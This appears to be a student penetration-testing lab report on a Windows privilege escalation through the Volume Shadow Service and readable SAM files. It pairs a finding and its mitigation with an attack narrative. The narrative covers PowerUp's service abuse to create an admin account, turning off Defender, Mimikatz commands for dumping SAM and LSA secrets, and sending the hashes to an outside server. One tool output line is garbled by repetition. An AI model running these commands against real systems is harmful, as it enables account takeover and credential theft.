Ex09-PowerUp

Jigar Patel

2023-10-17

Contents

1		nnical Report Finding: Privilege escalation vulnerability with Volume Shadow Service	2
2 Attack Narrative		ack Narrative	2
	2.1	PowerUp VSS Exploit and Privilege Escalation	2
	2.2	Using Mimikatz to get password hashes	5
	2.3	MITRE ATT&CK Framework TTPs	6

1 Technical Report

1.1 Finding: Privilege escalation vulnerability with Volume Shadow Service

Severity Rating

CVSS Base Severity Rating: 8.4 AV:L AC:L PR:N UI:N S:U C:H I:H A:H

Vulnerability Description

The Volume Shadow Service is vulnerable to a local privilege escalation attack. A non-admin user can gain local administrative permissions using VSS and due to overly permissive Access Control Lists for multiple system files, including the Security Accounts Manager (SAM) database.

Confirmation method

We can check for the presence of the vulnerability by checking ACL's of the SAM config file. As a non-admin user, run the command **icacls {windows-root}\system32\config\sam**. An output showing that the user has read access to the file means the system is still vulnerable.

Mitigation or Resolution Strategy

The resolution is to remove read ACL from file $\{windows-root\}\$ \system32\config\sam. We can do this by running

icacls {windows-root}\system32\config\sam /remove "Users". One should also delete any VSS copies that are were present before correcting the ACL by running vssadmin delete shadows /for=c:

2 Attack Narrative

2.1 PowerUp VSS Exploit and Privilege Escalation

- 1. We copy the modified **PowerUp.ps1-PowerDown.ps1** to the folder /tmp/Powershell.
- 2. Assuming we already have the RDP port-forwading to the costumes machine setup (from the previous attack narrative), we can **rdesktop** into the router machine and share the /tmp/Powershell folder with it.

```
(kali@kali)=[~]
$ rdesktop -r disk:win32=/tmp/Powershell 172.70.184.3
Autoselecting keyboard map 'en-us' from locale

ATTENTION! The server uses and invalid security certificate which can not be trusted for the following identified reasons(s);


1. Certificate issuer is not trusted by this system.

Issuer: CN=costumes.artstailor.com

Review the following certificate info before you trust it to be added as an exception.
If you do not trust the certificate the connection atempt will be aborted:

Subject: CN=costumes.artstailor.com
Issuer: CN=costumes.artstailor.com
```

3. After logging in with our previously discovered for *artstailor.wilkins*, we open up a command prompt to first map the remote share with a disk drive. We use **net use** to find the name of the remote share and then use net use Z: \\TSCLIENT\win32. We can then change our directory into the disk.



4. We then run **Powershell** with **ExecutionPolicy** as **Bypass**. Next, we import the **PowerDown** module by specifying it's path. Now we can run **Do-AllChecks** command imported from PowerDown.

```
Z:\>powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS Z:\> Import-Module .\PowerDown.ps1

PS Z:\> .\PowerDown.ps1

PS Z:\> Do-AllChecks
```

5. The output shows that we can **abuse** the **'VSS'** service running with **LocalSystem** priviledges.

```
[*] Checking service permissions...

ServiceName : VSS
Path : C:\Windows\system32\vssvc.exe
StartName : LocalSystem
AbuseFunction : Do-ServiceAbuse -Name 'VSS'
CanRestart : True

[*] Checking %PATH% for potentially hijackable DLL locations...

ModifiablePath : C:\Users\s.wilkins.ARTSTAILOR\AppData\Local\Microsoft\WindowsApps
IdentityReference : ARTSTAILOR\s, wilkins
Permissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH% : C:\Users\s.wilkins.ARTSTAILOR\AppData\Local\Microsoft\WindowsApps
AbuseFunction : Write-HijackDll -DllPath 'C:\Users\s.wilkins.ARTSTAILOR\AppData\Local\Microsoft\WindowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApps\windowsApp
```

We also see a possible DLL Path injection attack. For now, we will use the vulneribility in VSS to get Localsystem.

6. We run the command Do-ServiceAbuse -Name 'VSS' -User Probe -Password *Strong Password* to abuse the service and create a new user Probe with a redacted password.

We observe that the *Probe* user has been created and added to the local group Administrators.

2.2 Using Mimikatz to get password hashes

7. We login into the newly created Admin user Probe and disable Windows Default Anti-Virus.

🗞 Virus & threat protection settings

View and update Virus & threat protection settings for Microsoft Defender Antivirus.

Real-time protection

Locates and stops malware from installing or running on your device You can turn off this setting for a short time before it turns back on automatically.


Real-time protection is off, leaving your device vulnerable.



- 8. Now we can copy **Mimikatz/x64** folder into the /tmp/PowerShell folder, and it will be available in the newly created Z:\ drive.
- 9. We can now run **mimikatz.exe** in the Z drive to get it's shell. We will run run the following commands to get an elevated token, check appropriate permission and then do the dump: "token::elevate", "privilege::debug", "lsadump::sam", and "lsadump::secrets".

```
mimikatz # privilege::debug
Privilege '20' OK
```

- 10. We copy the hash dumps and save it in the *plunder.pr0b3.com* server for further use.
- 11. On a sidenote, since we have admin privileges, we can look at files in other accounts. We find the key like this. **Note:** The file does not directly open due to us not being it's owner, so we create a copy of it to read it.



2.3 MITRE ATT&CK Framework TTPs

PowerUp VSS Exploit and Privilege Escalation-

TA002: Execution

T1059: Command and Scripting Interpreter

.001: PowerShell TA002: Execution

T1059: Command and Scripting Interpreter

.003: Windows Command Shell

TA003: Persistance

T1136: Create Account

.001: Local Account

TA004: Privilege Escalation

T1068: Exploitation for Privilege Escalation

NA: NA

Using Mimikatz to get password hashes-

TA005: Defense Evation

T1562: Impair Defenses

.001: Disable or Modify Tools

TA006: Credential Access

T1003: OS Credential Dumping

.002: Security Account Manager

TA006: Credential Access

T1003: OS Credential Dumping

.004: LSA Secrets